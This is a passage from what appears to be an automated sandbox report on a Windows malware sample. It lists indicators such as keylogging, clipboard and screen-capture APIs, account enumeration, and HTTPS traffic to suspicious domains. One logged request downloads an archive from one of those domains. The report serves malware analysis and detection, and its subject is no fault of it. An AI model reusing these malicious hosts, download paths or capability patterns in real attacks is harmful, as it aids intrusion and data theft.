\"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WindowsPowerShell\\profile.ps1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\profile.ps1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WindowsPowerShell\\profile.ps1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$67","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$68","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" writes file \"c:\\programdata\\nexussoftware\\felix1\\libcrypto-3.dll\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetCancelConnection2A\" (Indicator: \"WNetCancelConnection\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"WNetGetConnection\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"WNetAddConnection2A\" (Indicator: \"WNetAddConnection\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"_socket.pyd\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$69","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"bafaf0\"\n \"lpReserved\": \"0\"}\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"ba8aa8\"\n \"lpReserved\": \"0\"}\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"3131778\"\n \"lpReserved\": \"0\"}\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"316a6b8\"\n \"lpReserved\": \"0\"}\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"ba7f58\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef\"\n Found http requests in header \"POST /31aa8434-bc4d-511f-910d-adbab2766b4f\"\n Found http requests in header \"GET /fkdr2342fsf/felix1\"\n Found http requests in header \"GET /39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip\"\n Found http requests in header \"GET /async/folae?async=_fmt:pb\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"WNetAddConnection2A\" (Indicator: \"NetAddConnection\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide information and utilities for managing network resources (API string)","description":"Found reference to API \"WNetCancelConnection2A\" (Indicator: \"WNetCancelConnection\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-113","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"EnumPrintersA\" (Indicator: \"EnumPrinters\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserEnum\" (Indicator: \"NetUserEnum\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 142.251.211.174 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Downloads archive files from web server","description":"\"GET /39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36\nHost: thelkfklef.com\"","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":3,"id":"network-65","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"clientservices.googleapis.com\" (Indicator: \".googleapis.com\"; File: \"PCAP\")\n Found string \"safebrowsingohttpgateway.googleapis.com\" (Indicator: \".googleapis.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.35\"\n \"2.5.29.37\"\n \"192.168.0.2\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.31\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.1\"\n \"2.5.29.14\"\n \"2.5.29.19\"\n \"2.5.29.32\"\n \"2.5.4.3\"\n \"2.5.29.15\"\n \"2.5.29.10\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$6d","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$6e","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"twitmerklend.com\" has high entropy\n Contacted domain: \"clientservices.googleapis.com\" has high entropy\n Contacted domain: \"safebrowsingohttpgateway.googleapis.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Imports network management related APIs","description":"Observed import api \"NetUserEnum\" which can \"retrieve information about all user accounts on a server.\" [Source: PCICL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1087.001","relevance":1,"id":"static-85","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking-related APIs","description":"Observed import api \"WNetAddConnection\" which can \"make a connection to a network resource\" [Source: PCICL32.DLL]\n Observed import api \"WNetCancelConnection\" which can \"cancel an existing network connection\" [Source: PCICL32.DLL]\n Observed import api \"WNetGetConnection\" which can \"retrieve the name of the network resource associated with a local device\" [Source: PCICL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec\n Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef\n Found HTTPS POST request to https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f\n Found HTTPS GET request to https://viigmeeftsgs.com/fkdr2342fsf/felix1\n Found HTTPS GET request to https://thelkfklef.com/39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip\n Found HTTPS GET request to https://www.google.com/async/folae?async=_fmt:pb","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"accounts.google.com\" (83 days old)\n Short term registered certificate: \"clients2.google.com\" (83 days old)\n Short term registered certificate: \"clientservices.googleapis.com\" (83 days old)\n Short term registered certificate: \"safebrowsingohttpgateway.googleapis.com\" (83 days old)\n Short term registered certificate: \"thelkfklef.com\" (89 days old)\n Short term registered certificate: \"twitmerklend.com\" (89 days old)\n Short term registered certificate: \"viigmeeftsgs.com\" (89 days old)\n Short term registered certificate: \"www.google.com\" (83 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"87.120.244.24\" on port \"443\"\n HTTPS traffic to \"85.120.253.110\" on port \"443\"\n HTTPS traffic to \"31.77.219.127\" on port \"443\"\n HTTPS traffic to \"31.77.168.93\" on port \"443\"\n HTTPS traffic to \"142.250.188.14\" on port \"443\"\n HTTPS traffic to \"172.217.117.4\" on port \"443\"\n HTTPS traffic to \"142.251.211.174\" on port \"443\"\n HTTPS traffic to \"142.250.31.84\" on port \"443\"\n HTTPS traffic to \"142.251.152.119\" on port \"443\"\n HTTPS traffic to \"172.217.115.4\" on port \"443\"\n HTTPS traffic to \"142.251.153.119\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"pyarmor_runtime.pyd\"\n YARA signature for AES encryption matched on file \"libcrypto-3.dll\"\n YARA signature for AES encryption matched on process \"00000000-00003580\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"PCICL32.DLL\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"SwitchDesktop\" (Indicator: \"SwitchDesktop\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE189529A4CF52009360C13A3FFADE]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002512.00000001.111136.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.03130000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE59234D9CB08A84DA205BA89D6687]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE2ADB5B7E6CB7F7B58FD41977A68C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SysWOW64\\Kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$70","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: remcmdstub.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: PCICL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: TCCTL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: HTCTL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"\n Found registry query API: \"RegEnumKeyExA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"\n Found registry query API: \"RegEnumValueA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"\n Found registry query API: \"RegQueryInfoKeyW\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"\n Found registry query API: \"RegOpenKeyExA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"\n Found registry query API: \"RegQueryInfoKeyA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"\n Found registry query API: \"RegGetValueA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$71","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$72","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"pythonw.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"GetComputerNameW\" (UID: 00000000-00002512)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"GetUserNameW\" (UID: 00000000-00002512)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003640)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$73","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardFormatNameA\" (Indicator: \"GetClipboardFormatName\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: PCICL32.DLL)","origin":"Static 